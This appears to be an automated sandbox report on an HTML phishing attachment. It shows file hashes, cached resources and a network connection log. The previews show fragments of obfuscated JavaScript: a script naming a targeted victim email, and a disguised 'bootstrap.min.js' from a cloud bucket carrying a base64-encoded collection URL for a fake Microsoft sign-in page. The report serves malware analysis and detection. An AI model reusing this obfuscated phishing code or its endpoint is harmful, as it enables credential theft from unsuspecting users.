Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454), with CRLF line terminators
Category:	downloaded
Size (bytes):	553316
Entropy (8bit):	4.912214415988568
Encrypted:	false
SSDEEP:	6144:6TWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:hay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	2E24A93C29E7A01C94A1BD61084C5178
SHA1:	19BEF803938A36659424D0C7B167B94EA2EE35E3
SHA-256:	D5491C51FEE578978BF126BB644661D19250D3F54332E1C8D18C5472C241B5E2
SHA-512:	383F3842D767795D9D3E03C9392F4DE0668C5D5DD79AC15A34A4303DBD2A1F6F5C7D8E776EA19E68BE97DD0024650CCCE8DE3981E62F68EB13390A67FE72A764
Malicious:	false
URL:	https://6032451419-1323985617.cos.na-siliconvalley.myqcloud.com/attach%2Fbootstrap.min.js
Preview:	var file = "aHR0cHM6Ly9uZXdtaW5kLmZlZGVyYWxjb3VydGZpbGVzLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.bor

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (65437), with CRLF line terminators
Entropy (8bit):	3.8474240772815405
TrID:	HTML Application (8008/1) 100.00%
File name:	Eallentoff_401k_1484013830.html
File size:	129'140 bytes
MD5:	17da56627aa591e55d1c54bf8a4cdebd
SHA1:	ca84ca9f722e8091daa539d97ccedf85aaf84934
SHA256:	84f7b6e27be755f1cddcd96cd57b132bb89aa89e1f0b1c156509995f397d7d0a
SHA512:	97cea3249d0912405152d3170bfefbc0f3fdc01b104fdf175264438755a635865e327f1cb2fdf80368a179c389ef2d19879ffcea228dba91536ca5083de7602d
SSDEEP:	96:sgAhGHYKhSRBeV4BOSzSOJUIOzBOEbEUS4Pt/qEbNteE+SEPZ4PEJUBO0VD+E4Nq:O2
TLSH:	61C31DBE474AEB04DF7B09B6EBA0407B6E2B0763D49C4E6097A79474C936C5F815C80B
File Content Preview:	<script>.. let rh13z8jemt = 'eallentoff@boundlessnetwork.com'; // Pastrami qui turducken nisi... venomousminded=~[];venomousminded={___:++venomousminded,$$$$:(![]+"")[venomousminded],__$:++venomousminded,$_$_:(![]+"")[venomousminded],_$_:++venomousm

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 15:13:20.346693039 CET	49675	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:20.346704006 CET	49674	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:20.471645117 CET	49673	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:29.254467964 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:29.254508018 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:29.254584074 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:29.256144047 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:29.256153107 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:29.256213903 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:29.257973909 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:29.257988930 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:29.259778976 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:29.259798050 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:29.260463953 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:29.260488987 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:29.260549068 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:29.261343002 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:29.261368036 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:29.261436939 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:29.262191057 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:29.262218952 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:29.262752056 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:29.262773037 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:29.607862949 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:29.607914925 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:29.607996941 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:29.609852076 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:29.609873056 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:30.014592886 CET	49675	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:30.014662981 CET	49674	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:30.127635956 CET	49673	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:30.476926088 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.477312088 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.477334976 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.478655100 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.478720903 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.479406118 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.479873896 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.479901075 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.480650902 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.480720043 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.481570959 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.481580973 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.481775045 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.481832027 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.482651949 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.482732058 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.482769966 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.484894991 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.485059023 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.485073090 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.486062050 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.486134052 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.486807108 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.486870050 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.486968040 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.486975908 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.487306118 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.487474918 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.487535000 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.489233971 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.489310026 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.489979029 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.490082026 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.490087986 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.523376942 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.531342983 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.607772112 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.607784986 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.610455036 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.610552073 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.612740993 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.612773895 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.718839884 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.813206911 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.903985977 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904592037 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904664993 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904699087 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904721022 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904736042 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.904769897 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.904787064 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.904827118 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.912900925 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.917069912 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.917145014 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.917181969 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.917216063 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.917227030 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.917283058 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.917289972 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.920454025 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920506001 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920545101 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920548916 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.920562029 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920583010 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920614958 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920635939 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.920644999 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.920658112 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.921344995 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.921400070 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.921411991 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.923795938 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.923913956 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.924000978 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.924045086 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.924087048 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.924161911 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.924180984 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.924271107 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.924802065 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.924817085 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.925301075 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.925548077 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.925556898 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.928690910 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.928744078 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.928751945 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.929738045 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.929804087 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.929811954 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:30.933552027 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.935617924 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.935626030 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.938565969 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.938694000 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.938771963 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.938787937 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.938852072 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:30.942058086 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.942116022 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:30.942131042 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:30.946959019 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:30.970684052 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:30.970686913 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:30.970690966 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:30.970695972 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.001092911 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.016582012 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.016587973 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.016591072 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.016614914 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.030345917 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.045635939 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.048918962 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.049730062 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.049809933 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.049818039 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.083758116 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.096703053 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.099106073 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.099124908 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.099164009 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.100584984 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.100677967 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.100742102 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.100752115 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.100802898 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.108860016 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.111893892 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.112700939 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.112737894 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.112809896 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.112832069 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.112865925 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.116568089 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.116693974 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.116703987 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.117626905 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.119642019 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.119723082 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.119730949 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.119769096 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.119786024 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.120726109 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.122530937 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.122616053 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.122616053 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.122622967 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.124574900 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.127650023 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.127732038 CET	49710	443	192.168.2.5	151.101.194.137
